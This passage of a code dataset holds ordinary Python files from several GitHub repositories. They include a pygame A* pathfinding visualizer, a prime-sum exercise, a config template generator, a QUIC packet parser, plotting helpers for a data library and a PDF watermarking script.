neighbor))\n\t\t\t\t\topen_set_hash.add(neighbor)\n\t\t\t\t\tneighbor.make_open()\n\n\t\tdraw()\n\n\t\tif current != start:\n\t\t\tcurrent.make_closed()\n\n\treturn False\n\ndef update_timer(start_time):\n\tWIN.fill(BAR, (810, 280, 900, 320))\n\tpassed_time = pygame.time.get_ticks() - start_time\n\tsec = str(passed_time // 1000)\n\tmilisec = str(passed_time / 1000 - passed_time // 1000)\n\tmilisec = milisec[2:4]\n\ttime = sec + \".\" + milisec + \" sec\"\n\tt = font42.render(time, False, CAPTION)\n\tt_rect = t.get_rect()\n\tt_rect.centerx, t_rect.centery = 900, 300\n\tWIN.blit(t, t_rect)\n\ndef reset_timer():\n\tWIN.fill(BAR, (810, 280, 900, 320))\n\n\ttime = \"0.0sec\"\n\tt = font42.render(time, False, CAPTION)\n\tt_rect = t.get_rect()\n\tt_rect.centerx, t_rect.centery = 900, 300\n\tWIN.blit(t, t_rect)\n\ndef make_grid(rows, width):\n\tgrid = []\n\tgap = width // rows\n\tfor i in range(rows):\n\t\tgrid.append([])\n\t\tfor j in range(rows):\n\t\t\tspot = Spot(i, j, gap, rows)\n\t\t\tif i == 0:\n\t\t\t\tspot.make_border()\n\t\t\t\tspot.be_updated = False\n\t\t\telif i == rows - 1:\n\t\t\t\tspot.make_border()\n\t\t\t\tspot.be_updated = False\n\n\t\t\telif j == 0 or j == rows - 1:\n\t\t\t\tspot.make_border()\n\t\t\t\tspot.be_updated = False\n\t\t\tgrid[i].append(spot)\n\n\n\treturn grid\n\n\ndef draw_grid(win, rows, width):\n\tgap = width // rows\n\tfor i in range(rows):\n\t\tpygame.draw.line(win, GREY, (0, i * gap), (width, i * gap))\n\t\tfor j in range(rows):\n\t\t\tpygame.draw.line(win, GREY, (j * gap, 0), (j * gap, width))\n\n\ndef draw(win, grid, rows, width):\n\twin.fill(WHITE, (0, 0, GRID_WIDTH, GRID_WIDTH))\n\n\tfor row in grid:\n\t\tfor node in row:\n\t\t\tnode.draw(win)\n\n\tdraw_grid(win, rows, width)\n\tpygame.display.update()\n\n\ndef get_clicked_pos(pos, rows, width):\n\tgap = width // rows\n\ty, x = pos\n\n\trow = y // gap\n\tcol = x // gap\n\n\treturn row, col\n\n\ndef main(win, width):\n\twin.fill(BAR)\n\tgrid = make_grid(ROWS, width)\n\n\tstart = None\n\tend = None\n\trun = True\n\n\tt = font26.render(\"Python visualization of A* algorithm\", False, CAPTION)\n\tt_rect = t.get_rect()\n\tt_rect.centerx, t_rect.centery = WIN_WIDTH - 200, 50\n\n\tWIN.blit(t, t_rect)\n\n\tt = font18.render(\"Finding the shortest path from one point to another\", False, CAPTION)\n\tt_rect = t.get_rect()\n\tt_rect.centerx, t_rect.centery = WIN_WIDTH - 200, 80\n\tWIN.blit(t, t_rect)\n\n\tspot = Spot(0, 0, GRID_WIDTH // ROWS, 0)\n\tspot.x = GRID_WIDTH + 30\n\tspot.y = 120\n\tspot.make_start()\n\tspot.draw(win)\n\n\tt = font18.render(\"- starting point\", False, CAPTION)\n\tt_rect = t.get_rect()\n\tt_rect.centerx, t_rect.centery = GRID_WIDTH + 110, 125\n\tWIN.blit(t, t_rect)\n\n\tspot.draw(win)\n\tspot.x = GRID_WIDTH + 30\n\tspot.y = 150\n\tspot.make_end()\n\tspot.draw(win)\n\n\tt = font18.render(\"- ending point\", False, CAPTION)\n\tt_rect = t.get_rect()\n\tt_rect.centerx, t_rect.centery = GRID_WIDTH + 110, 155\n\tWIN.blit(t, t_rect)\n\n\tspot.draw(win)\n\tspot.x = GRID_WIDTH + 30\n\tspot.y = 180\n\tspot.make_barrier()\n\tspot.draw(win)\n\n\tt = font18.render(\"- barrier\", False, CAPTION)\n\tt_rect = t.get_rect()\n\tt_rect.centerx, t_rect.centery = GRID_WIDTH + 90, 185\n\tWIN.blit(t, t_rect)\n\n\tt = font18.render(\"Press Space to start after putting start,\", False, CAPTION)\n\tt_rect = t.get_rect()\n\tt_rect.centerx, t_rect.centery = GRID_WIDTH + 145, 220\n\tWIN.blit(t, t_rect)\n\n\tt = font18.render(\"end and barriers\", False, CAPTION)\n\tt_rect = t.get_rect()\n\tt_rect.centerx, t_rect.centery = GRID_WIDTH + 80, 250\n\tWIN.blit(t, t_rect)\n\n\tt = font42.render(\"0.00 sec\", False, CAPTION)\n\tt_rect = t.get_rect()\n\tt_rect.centerx, t_rect.centery = GRID_WIDTH + 100, 300\n\tWIN.blit(t, t_rect)\n\n\n\n\twhile run:\n\t\tdraw(win, grid, ROWS, width)\n\t\tfor event in pygame.event.get():\n\t\t\tif event.type == pygame.QUIT:\n\t\t\t\trun = False\n\n\t\t\tif pygame.mouse.get_pressed()[0] and pygame.mouse.get_pos()[0] < GRID_WIDTH and pygame.mouse.get_pos()[1] < GRID_WIDTH: # LEFT\n\t\t\t\tpos = pygame.mouse.get_pos()\n\t\t\t\trow, col = get_clicked_pos(pos, ROWS, width)\n\t\t\t\tspot = grid[row][col]\n\t\t\t\tif start is None and spot != end:\n\t\t\t\t\tif spot.make_start():\n\t\t\t\t\t\tstart = spot\n\n\t\t\t\telif end is None and spot != start:\n\t\t\t\t\tif spot.make_end():\n\t\t\t\t\t\tend = spot\n\n\t\t\t\telif spot != end and spot != start:\n\t\t\t\t\tspot.make_barrier()\n\n\t\t\telif pygame.mouse.get_pressed()[2]: # RIGHT\n\t\t\t\tpos = pygame.mouse.get_pos()\n\t\t\t\trow, col = get_clicked_pos(pos, ROWS, width)\n\t\t\t\tspot = grid[row][col]\n\t\t\t\tif spot.reset():\n\t\t\t\t\tif spot == start:\n\t\t\t\t\t\tstart = None\n\t\t\t\t\telif spot == end:\n\t\t\t\t\t\tend = None\n\n\t\t\tif event.type == pygame.KEYDOWN:\n\t\t\t\tif event.key == pygame.K_SPACE and start and end:\n\t\t\t\t\tstart_time = pygame.time.get_ticks()\n\t\t\t\t\tfor row in grid:\n\t\t\t\t\t\tfor spot in row:\n\t\t\t\t\t\t\tspot.update_neighbors(grid)\n\n\t\t\t\t\talgorithm(lambda: draw(win, grid, ROWS, width), grid, start, end, start_time)\n\n\n\t\t\t\tif event.key == pygame.K_c:\n\t\t\t\t\tstart = None\n\t\t\t\t\tend = None\n\t\t\t\t\tgrid = make_grid(ROWS, width)\n\t\t\t\t\treset_timer()\n\n\tpygame.quit()\n\nmain(WIN, GRID_WIDTH)","repo_name":"NikitaPW/Python-A-star-PyGame","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"4221566558","text":"i=1\nx = int(input())\np=[]\np1=[]\ncounter = 0\nwhile True:\n c=0;\n for j in range (1, (i+1), 1):\n a = i%j\n if (a==0):\n c = c+1\n if (c==2):\n p.append(i)\n counter = counter + 1\n if counter >= x:\n break\n i=i+1\nsum=0\nfor i in range(x):\n sum+=p[i]\n p1.append(sum)\nprint(*p1)\n","repo_name":"GuhanSGCIT/SGCIT","sub_path":"prime adder.py","file_name":"prime adder.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"4115357432","text":"from lib import *\n\nclass Func:\n def __init__(self, func: str) -> None:\n self.func = func\n self.args = get_args(func)\n self.args_num = len(self.args)\n\n def func_to_python(self) -> None:\n self.lambda_str = fun_to_py(self.func)\n \n def exec_func(self, values: list) -> None:\n if self.lambda_str == None: raise Exception('No lambda string. Call func_to_python before this.')\n values_tuple_str = '('\n for value in values:\n values_tuple_str = values_tuple_str + str(value) + ', '\n values_tuple_str = values_tuple_str + ')'\n self.executable_func = self.lambda_str + values_tuple_str\n self.executable_func = (lambda x: eval_clojure(x))(self.executable_func)\n def get_func_exec(self):\n if self.lambda_str == None: raise Exception('No lambda string. Call func_to_python before this.')\n return eval_clojure(self.lambda_str)\n\n\nif __name__ == '__main__':\n f: Func = Func('3*x**2 + 5*x - 7')\n f.func_to_python()\n fu = f.get_func_exec()\n print(fu(2))\n","repo_name":"dmitryVonDrake/fun_graph_bot","sub_path":"func.py","file_name":"func.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"32213701253","text":"import os\nimport time\n\nresults = open(time.strftime('./Results/' + \"%Y-%m-%d-%H_%M_%S-result.txt\", time.localtime()), 'w')\n\ntemples = ''\nmirror_list = []\n\n# 1. read temple\nwith open('temple.txt', 'r', encoding='UTF-8') as file:\n for i in file.readlines():\n temples += i\n\n# 1. read mirror\nwith open('mirror.txt', 'r', encoding='UTF-8') as file:\n for i in file.readlines():\n item = i.strip('\\n')\n mirror_list.append(item)\n\nwith open('domains.txt', 'r', encoding='UTF-8') as file:\n index = 0;\n for i in file.readlines():\n name = i.strip('\\n')\n results.writelines('============ config for ' + name + ' start ============')\n results.writelines('\\n')\n mirror_config = mirror_list[index].split(':')\n str = temples.replace('AAA', name)\\\n .replace('BBB', mirror_config[0])\\\n .replace('CCC', mirror_config[1])\\\n .replace('DDD', mirror_config[0])\\\n + '\\n'\n results.writelines(str)\n results.writelines('============ config for ' + name + ' end ============')\n results.writelines('\\n')\n results.writelines('\\n')\n results.writelines('\\n')\n index = index + 1\n results.close()\n","repo_name":"Lucifer-23/Spider","sub_path":"Configs/BaoTa/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"41476624718","text":"# built-in modules\nfrom dataclasses import dataclass\nfrom enum import IntEnum\nfrom typing import List, Optional\n\n# implemented modules\nfrom .buffer import (\n Buffer,\n int_to_bytes,\n)\nfrom .crypto import (\n SymmetricContext,\n)\nfrom .frame_parser import (\n QuicFrameParser,\n QuicParsedFrame,\n)\nfrom .packet_builder import (\n PACKET_TYPE_INITIAL,\n PACKET_TYPE_ZERO_RTT,\n PACKET_TYPE_HANDSHAKE,\n PACKET_TYPE_RETRY,\n PACKET_TYPE_ONE_RTT,\n PACKET_TYPE_MASK,\n is_long_header\n)\nfrom .quic_types import (\n QuicProtocolVersion,\n)\n\n# logging module\nfrom logging import getLogger\nlogger = getLogger(__name__)\n\n\nclass QuicPacketParserState(IntEnum):\n PARSING_PACKET = 0x01\n PARSING_PAYLOAD = 0x02\n\n\n@dataclass\nclass QuicParsedPacket:\n is_long_header: bool\n packet_type: int\n dest_cid: bytes\n payload: bytes\n frames: List[QuicParsedFrame]\n src_cid: Optional[bytes] = b\"\"\n version: Optional[int] = 0\n\n\nclass QuicPacketParser:\n def __init__(\n self,\n symm_context: SymmetricContext\n ) -> None:\n\n # todo: add packets parsed with frames\n self._parsing_state: QuicPacketParserState = QuicPacketParserState.PARSING_PACKET\n\n # frame parser\n self._frame_parser = QuicFrameParser()\n\n # parsed data\n self._parsed_packets: List[QuicParsedPacket] = []\n\n # retry\n self._retry: bool = False\n\n # symmetric context\n self._symmetric_context = symm_context\n\n @property\n def parsed_packets(self) -> List[QuicParsedPacket]:\n return self._parsed_packets\n\n def set_retry(self, value: bool) -> None:\n self._retry = value\n\n def reset(self) -> None:\n # clear parsed packets in list\n self._parsed_packets = []\n\n def parse(self, packet: Buffer) -> None:\n\n # datagram parse pseudo\n\n # read first byte\n first_byte: bytes = packet.pull_uint8()\n\n packet_type: int = first_byte & PACKET_TYPE_MASK\n long_header: bool = is_long_header(packet_type)\n logger.debug(\n f\"packet type of {packet_type} is {('short header', 'long header')[long_header]}\")\n\n if packet_type == PACKET_TYPE_INITIAL:\n logger.debug(f\"packet type: INITIAL\")\n elif packet_type == PACKET_TYPE_ZERO_RTT:\n logger.debug(f\"packet type: ZERO RTT\")\n elif packet_type == PACKET_TYPE_HANDSHAKE:\n logger.debug(f\"packet type: HANDSHAKE\")\n elif packet_type == PACKET_TYPE_RETRY:\n logger.debug(f\"packet type: RETRY\")\n elif packet_type == PACKET_TYPE_ONE_RTT:\n logger.debug(f\"packet type: ONE RTT\")\n\n # parse packet number length\n packet_num_length = (packet_type & 0x03) + 1\n logger.debug(f\"packet number length: {packet_num_length}\")\n\n if long_header:\n # parse long header packet\n logger.debug(f\"parsing long header\")\n\n # parse version\n version = packet.pull_uint32()\n logger.debug(f\"version: {int_to_bytes(version).hex(' ', 2)}\")\n logger.debug(f\"version in bytes: {int_to_bytes(version)}\")\n\n # validate version\n if version in (QuicProtocolVersion.NEGOTIATION,\n QuicProtocolVersion.VERSION_1,\n QuicProtocolVersion.SAEM_QUIC):\n logger.debug(f\"version is valid\")\n else:\n logger.debug(f\"version is invalid\")\n\n # parse dest CID\n dest_id_len = packet.pull_uint8()\n logger.debug(f\"dest id len: {dest_id_len}\")\n dest_id = packet.pull_bytes(dest_id_len)\n logger.debug(f\"dest id: {dest_id}\")\n\n # parse src CID\n src_id_len = packet.pull_uint8()\n logger.debug(f\"peer id len: {src_id_len}\")\n src_id = packet.pull_bytes(src_id_len)\n logger.debug(f\"peer id: {src_id}\")\n\n if packet_type == PACKET_TYPE_INITIAL:\n # parse token\n # TODO: implement tokens\n pass\n\n logger.debug(f\"packet peek: {packet.peek(10).hex(' ', 1)}\")\n\n # parse payload length\n\n if packet_type in (PACKET_TYPE_INITIAL, PACKET_TYPE_ZERO_RTT, PACKET_TYPE_HANDSHAKE):\n\n # parse payload\n payload_length = packet.pull_uint_var()\n\n logger.debug(f\"payload length: {payload_length}\")\n # parse packet number\n packet_number = packet.pull_bytes(packet_num_length)\n # packet_number = packet.pull_uint_var()\n logger.debug(f\"packet number: {packet_number}\")\n logger.debug(f\"payload data: {packet.peek(payload_length)}\")\n # parse packet payload\n payload_data = packet.pull_bytes(payload_length)\n logger.debug(f\"payload data: {payload_data}\")\n logger.debug(f\"payload data: {payload_data.hex(' ', 1)}\")\n\n # parse packet payload data\n parsed_frames = self._frame_parser.parse(\n Buffer(data=payload_data))\n\n parsed_packet = QuicParsedPacket(\n is_long_header=long_header,\n packet_type=packet_type,\n version=version,\n dest_cid=dest_id,\n src_cid=src_id,\n payload=payload_data,\n frames=parsed_frames\n )\n\n self._parsed_packets.append(parsed_packet)\n\n else:\n # parse short header packet\n logger.debug(f\"parsing short header\")\n\n # parse dest CID\n dest_id_len = 8\n logger.debug(f\"dest id len: {dest_id_len}\")\n dest_id = packet.pull_bytes(dest_id_len)\n logger.debug(f\"dest id: {dest_id}\")\n\n header_index = packet.tell()\n\n # parse payload\n payload_length = packet.pull_uint_var()\n\n logger.debug(f\"payload length: {payload_length}\")\n # parse packet number\n packet_number = packet.pull_bytes(packet_num_length)\n # packet_number = packet.pull_uint_var()\n logger.debug(f\"packet number: {packet_number}\")\n logger.debug(f\"payload data: {packet.peek(payload_length)}\")\n # parse packet payload\n payload_data = packet.pull_bytes(payload_length)\n logger.debug(f\"payload data: {payload_data}\")\n logger.debug(f\"payload data: {payload_data.hex(' ', 1)}\")\n\n dec_payload_data = self._symmetric_context.decrypt(\n payload_data, b\"test_associated\")\n logger.debug(f\"decrypted short header payload: {dec_payload_data}\")\n\n # parse packet payload data\n parsed_frames = self._frame_parser.parse(\n Buffer(data=dec_payload_data))\n\n parsed_packet = QuicParsedPacket(\n is_long_header=long_header,\n packet_type=packet_type,\n dest_cid=dest_id,\n payload=payload_data,\n frames=parsed_frames\n )\n\n self._parsed_packets.append(parsed_packet)\n","repo_name":"eunsaemy/python_quic","sub_path":"quic/packet_parser.py","file_name":"packet_parser.py","file_ext":"py","file_size_in_byte":7205,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"26853249406","text":"from __future__ import absolute_import\nimport numpy as np\nimport dama as dm\nfrom matplotlib import pyplot as plt\n'''Module to provide plotting convenience functions\nto be used by data source classes\n'''\n\n__license__ = '''Copyright 2019 Philipp Eller\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.'''\n\n# === Modernized ===\n\n\ndef plot_bands(source, var=None, fig=None, ax=None, labels=None, filled=True, lines=False, **kwargs):\n '''\n plot band between the variable's values (expect each bin to have a 1d array)\n\n Parameters:\n -----------\n var : str\n Variable name ot be plotted (if source type is GridArry or GridData with\n a single variable, then that one is used by default)\n \n fig, ax : matplotlib figure and axis (optional)\n\n labels : iterable\n lables to add for the bands\n\n filled : bool\n Draw filled areas between bands\n\n lines : bool\n Draw lines at bands\n '''\n\n #ToDo: fix invalid values\n\n assert isinstance(source, (dm.GridData, dm.GridArray))\n assert source.grid.nax == 1\n\n if isinstance(source, dm.GridData):\n if var is None and len(source.data_vars) == 1:\n var = source.data_vars[0]\n data = np.ma.asarray(source[var])\n\n else:\n data = np.ma.asarray(source)\n\n if fig is None:\n fig = plt.gcf()\n if ax is None:\n ax = plt.gca()\n\n cmap = kwargs.pop('cmap', 'Blues')\n cmap = plt.get_cmap(cmap)\n\n n_points = data.shape[1]\n n_bands = (n_points + 1) // 2\n\n if lines:\n linestyles = kwargs.pop('linestyles', ['-']*n_bands)\n linecolors = kwargs.pop('linecolors', ['k']*n_bands)\n\n colors = cmap(np.linspace(0, 1, n_bands + 1))[1:]\n colors = kwargs.pop('colors', colors)\n\n grid_axis = source.grid.axes[0]\n\n for i in range(n_bands):\n upper_idx = n_points - i - 1\n if labels is not None and i < len(labels):\n label = labels[i]\n else:\n label = None\n\n if grid_axis.has_points:\n if not upper_idx == i:\n if filled:\n ax.fill_between(\n grid_axis.points,\n data[:, i],\n data[:, upper_idx],\n color=colors[i],\n label=label,\n **kwargs\n )\n if lines:\n ax.plot(\n grid_axis.points,\n data[:, i],\n color=linecolors[i],\n linestyle=linestyles[i],\n label=label,\n **kwargs\n )\n ax.plot(\n grid_axis.points,\n data[:, upper_idx],\n color=linecolors[i],\n linestyle=linestyles[i],\n **kwargs\n )\n else:\n if filled:\n ax.plot(\n grid_axis.points,\n data[:, i],\n color=colors[i],\n label=label,\n **kwargs\n )\n if lines:\n ax.plot(\n grid_axis.points,\n data[:, i],\n color=linecolors[i],\n linestyle=linestyles[i],\n label=label,\n **kwargs\n )\n\n else:\n if not upper_idx == i:\n if filled:\n ax.bar(\n grid_axis.edges.edges[:, 0],\n data[:, upper_idx] - data[:, i],\n bottom=np.nan_to_num(data[:, i]),\n width=grid_axis.edges.width,\n color=colors[i],\n align='edge',\n label=label,\n **kwargs\n )\n if lines:\n band_data = np.ma.asarray(data[:, i])\n band_data = np.ma.append(band_data, band_data[-1])\n ax.step(\n grid_axis.squeezed_edges,\n band_data,\n where='post',\n label=label,\n color=linecolors[i],\n linestyle=linestyles[i],\n **kwargs\n )\n band_data = np.ma.asarray(data[:, upper_idx])\n band_data = np.ma.append(band_data, band_data[-1])\n ax.step(\n grid_axis.squeezed_edges,\n band_data,\n where='post',\n color=linecolors[i],\n linestyle=linestyles[i],\n **kwargs\n )\n else:\n band_data = np.ma.asarray(data[:, i])\n band_data = np.ma.append(band_data, band_data[-1])\n if filled:\n ax.step(\n grid_axis.squeezed_edges,\n band_data,\n where='post',\n label=label,\n color=colors[i],\n **kwargs\n )\n if lines:\n ax.step(\n grid_axis.squeezed_edges,\n band_data,\n where='post',\n label=label,\n color=linecolors[i],\n linestyle=linestyles[i],\n **kwargs\n )\n\n ax.set_xlabel(source.grid.vars[0])\n if source.grid.axes[0].log:\n ax.set_xscale('log')\n ax.set_ylabel(var)\n\n if grid_axis.has_points:\n ax.set_xlim(grid_axis.points.min(), grid_axis.points.max())\n else:\n ax.set_xlim(grid_axis.edges.min(), grid_axis.edges.max())\n\n\ndef plot_map(source, var=None, cbar=False, fig=None, ax=None, **kwargs):\n '''\n plot a 2d color map\n\n Parameters:\n -----------\n\n var : str (optional)\n Variable name ot be plotted (if source type is GridArry or GridData with\n a single variable, then that one is used by default)\n cbar : bool (optional)\n Add colorbar to axis\n fig, ax : matplotlib figure and axis (optional)\n '''\n assert isinstance(source, (dm.GridData, dm.GridArray))\n assert source.grid.nax == 2\n\n if isinstance(source, dm.GridData):\n if var is None and len(source.data_vars) == 1:\n var = source.data_vars[0]\n data = source[var]\n\n else:\n data = source\n\n if fig is None:\n fig = plt.gcf()\n if ax is None:\n ax = plt.gca()\n\n data = np.ma.asarray(data)\n\n if data.ndim == source.grid.nax + 1 and data.shape[-1] == 3:\n # plot as image\n pc = ax.imshow(\n data.swapaxes(0, 1)[::-1, :, :],\n extent=(\n source.grid.edges[0].min(), source.grid.edges[0].max(),\n source.grid.edges[1].min(), source.grid.edges[1].max()\n ),\n **kwargs\n )\n else:\n X, Y = source.grid.edge_meshgrid\n pc = ax.pcolormesh(\n X, Y, data.T, linewidth=0, rasterized=True, **kwargs\n )\n if cbar:\n fig.colorbar(pc, ax=ax, label=kwargs.pop('label', var))\n\n ax.set_xlabel(source.grid.vars[0])\n if source.grid.axes[0].log:\n ax.set_xscale('log')\n ax.set_ylabel(source.grid.vars[1])\n if source.grid.axes[1].log:\n ax.set_yscale('log')\n ax.set_xlim(source.grid.edges[0].min(), source.grid.edges[0].max())\n ax.set_ylim(source.grid.edges[1].min(), source.grid.edges[1].max())\n return pc\n\n\ndef plot_step(source, var=None, label=None, fig=None, ax=None, step=None, **kwargs):\n '''\n plot a step function, i.e. histogram\n var : str\n Variable name ot be plotted (if source type is GridArry or GridData with\n a single variable, then that one is used by default)\n label : str\n fig, ax : matplotlib figure and axis (optional)\n step : bool, (optional)\n whether to plot as steps or lines\n '''\n assert isinstance(source, (dm.GridData, dm.GridArray))\n assert source.grid.nax == 1\n\n if step is None:\n step = source.grid.axes[0].has_edges\n\n if isinstance(source, dm.GridData):\n if var is None and len(source.data_vars) == 1:\n var = source.data_vars[0]\n data = np.array(source[var])\n\n else:\n data = np.array(source)\n\n if fig is None:\n fig = plt.gcf()\n if ax is None:\n ax = plt.gca()\n\n data = np.ma.asarray(data)\n\n if step:\n s = ax.step(\n source.grid.squeezed_edges[0],\n np.ma.append(data, data[-1]),\n where='post',\n label=label,\n **kwargs\n )\n else:\n s = ax.plot(\n source.grid.points[0],\n data,\n label=label,\n **kwargs )\n\n ax.set_xlabel(source.grid.vars[0])\n if source.grid.axes[0].log:\n ax.set_xscale('log')\n ax.set_ylabel(var)\n return s\n\n\ndef plot1d_all(source, *args, **kwargs):\n fig = kwargs.pop('fig', plt.gcf())\n ax = kwargs.pop('ax', plt.gca())\n\n if isinstance(source, dm.PointArray):\n return ax.plot(source)\n\n for var in source.vars:\n ax.plot(source[var], label=var)\n\n\n# --- to be fixed ---\n\n\ndef plot1d(source, x, *args, **kwargs):\n '''1d plot'''\n fig = kwargs.pop('fig', plt.gcf())\n ax = kwargs.pop('ax', plt.gca())\n p = ax.plot(source[x], *args, **kwargs)\n ax.set_ylabel(x)\n return p\n\n\ndef plot(source, *args, labels=None, **kwargs):\n '''2d plot\n \n Parameters:\n -----------\n\n args[0] : str or Iterable (optional)\n data variables to plot \n args[1] : string or Iterable (optional)\n data variables to plot resulting in 2d plots\n labels : string or Iterable (optional)\n \n '''\n\n x = None\n y = None\n if len(args) > 0:\n if isinstance(args[0], str) and args[0] not in source.vars:\n x = None\n y = None\n else:\n x = args[0]\n args = args[1:]\n\n if len(args) > 0:\n if isinstance(args[0], str) and args[0] not in source.vars:\n y = None\n else:\n y = args[0]\n args = args[1:]\n\n fig = kwargs.pop('fig', plt.gcf())\n ax = kwargs.pop('ax', plt.gca())\n\n if x is None and y is None:\n if isinstance(source, dm.PointArray):\n return ax.plot(source, *args, label=labels, **kwargs)\n\n for i, var in enumerate(source.vars):\n if labels is None:\n label = var\n else:\n label = labels[i]\n ax.plot(source[var], *args, label=label, **kwargs)\n\n elif y is None:\n if isinstance(x, str):\n ax.plot(source[x], *args, label=labels, **kwargs)\n ax.set_ylabel(x)\n else:\n for i, x_var in enumerate(x):\n if labels is not None:\n label = labels[i]\n else:\n label = x_var\n ax.plot(source[x_var], *args, label=label, **kwargs)\n\n elif isinstance(x, str):\n if isinstance(y, str):\n p = ax.plot(source[x], source[y], *args, label=labels, **kwargs)\n ax.set_xlabel(x)\n ax.set_ylabel(y)\n return p\n else:\n for i, y_var in enumerate(y):\n if labels is not None:\n label = labels[i]\n else:\n label = None\n ax.plot(source[x], source[y_var], *args, label=label, **kwargs)\n ax.set_xlabel(x)\n else:\n if isinstance(y, str):\n for i, x_var in enumerate(x):\n if labels is not None:\n label = labels[i]\n else:\n label = None\n ax.plot(source[x_var], source[y], *args, label=label, **kwargs)\n ax.set_ylabel(y)\n\n else:\n\n assert len(x) == len(\n y\n ), 'Need same length of x and y variables list'\n\n for i, (x_var, y_var) in enumerate(zip(x, y)):\n if labels is not None:\n label = labels[i]\n else:\n label = None\n ax.plot(\n source[x_var], source[y_var], *args, label=label, **kwargs\n )\n\n\ndef plot_points_2d(\n source, x, y, s=None, c=None, cbar=False, fig=None, ax=None, **kwargs\n ):\n '''2d scatter plot'''\n if fig is None:\n fig = plt.gcf()\n if ax is None:\n ax = plt.gca()\n if c is not None:\n c_label = c\n c = source[c]\n else:\n assert not cbar\n if s is not None:\n if isinstance(s, str):\n s = source[s]\n sc = ax.scatter(\n np.array(source[x]),\n np.array(source[y]),\n s=np.array(s),\n c=np.array(c),\n **kwargs\n )\n if cbar:\n fig.colorbar(sc, ax=ax, label=c_label)\n ax.set_xlabel(x)\n ax.set_ylabel(y)\n return sc\n\n\ndef plot_contour(source, var=None, fig=None, ax=None, **kwargs):\n '''\n contours from gird data\n '''\n assert isinstance(source, (dm.GridData, dm.GridArray))\n assert source.grid.nax == 2\n\n if isinstance(source, dm.GridData):\n if var is None and len(source.data_vars) == 1:\n var = source.data_vars[0]\n data = np.ma.asarray(source[var])\n\n else:\n data = np.ma.asarray(source)\n\n\n\n if fig is None:\n fig = plt.gcf()\n if ax is None:\n ax = plt.gca()\n X, Y = source.grid.point_meshgrid\n\n labels = kwargs.pop('labels', None)\n inline = kwargs.pop('inline', True)\n\n cs = ax.contour(X, Y, data, **kwargs)\n\n if labels is not None:\n fmt = {}\n for l, s in zip(cs.levels, labels):\n fmt[l] = s\n\n ax.clabel(cs, cs.levels, inline=inline, fmt=fmt)\n\n if source.grid.axes[0].log:\n ax.set_xscale('log')\n if source.grid.axes[1].log:\n ax.set_yscale('log')\n\n return cs\n\n\ndef plot_errorband(source, var, errors, fig=None, ax=None, **kwargs):\n '''\n plot a step histogram with errorbars around it as bands\n '''\n if fig is None:\n fig = plt.gcf()\n if ax is None:\n ax = plt.gca()\n if isinstance(errors, (tuple, list)):\n lower_error = source[errors[0]]\n upper_error = source[errors[1]]\n elif isinstance(errors, str):\n lower_error = source[errors]\n upper_error = lower_error\n else:\n raise TypeError(\n 'errors must be tuple of variable names or a single variable name'\n )\n assert source.grid.nax == 1\n\n ax.bar(\n source.grid[0].points,\n lower_error + upper_error,\n bottom=source[var] - lower_error,\n width=source.grid[0].edges.width,\n **kwargs\n )\n ax.set_xlabel(source.grid[0].var)\n\n if source.grid.axes[0].log:\n ax.set_xscale('log')\n","repo_name":"philippeller/dama","sub_path":"dama/plotting/stat_plot.py","file_name":"stat_plot.py","file_ext":"py","file_size_in_byte":15938,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"66"}
+{"seq_id":"15494428586","text":"import PyPDF2\n\ntemplate = 'C:\\\\Users\\\\JR0544\\\\PycharmProjects\\\\ZeroToMastery\\\\PDFs\\\\2020ViaBenefitsCostSummary.pdf'\nmarker = 'C:\\\\Users\\\\JR0544\\\\PycharmProjects\\\\ZeroToMastery\\\\PDFs\\\\original.pdf'\n\n# template = PyPDF2.PdfFileReader(open('C:\\\\Users\\\\JR0544\\\\PycharmProjects\\\\ZeroToMastery\\\\PDFs\\\\2020ViaBenefitsCostSummary.pdf', 'rb'))\n# marker = PyPDF2.PdfFileReader(open('C:\\\\Users\\\\JR0544\\\\PycharmProjects\\\\ZeroToMastery\\\\PDFs\\\\original.pdf', 'rb'))\n\"\"\"\noutput = PyPDF2.PdfFileWriter()\n\nfor i in range(template.getNumPages()):\n page = template.getPage(i)\n page.mergePage(marker.getPage(0))\n output.addPage(page)\n\nwith open('watermarker.pdf', 'wb') as file:\n output.write(file)\n\"\"\"\n\n\ndef pdf_watermarker(original, watermark):\n wtr_file = open(watermark, 'rb')\n\n original_file = open(original, 'rb')\n original_reader = PyPDF2.PdfFileReader(original_file)\n\n writer = PyPDF2.PdfFileWriter();\n\n for original_page in original_reader.pages:\n wtr_reader = PyPDF2.PdfFileReader(wtr_file)\n wtr_page = wtr_reader.getPage(0)\n wtr_page.mergePage(original_page)\n writer.addPage(wtr_page)\n\n with open('watermarker.pdf', 'wb') as file:\n writer.write(file)\n original_file.close()\n wtr_file.close()\n\n\npdf_watermarker(template, marker)\n","repo_name":"jaggureddy/ZTM","sub_path":"ZeroToMastery/pdf/AddMarker.py","file_name":"AddMarker.py","file_ext":"py","file_size_in_byte":1290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
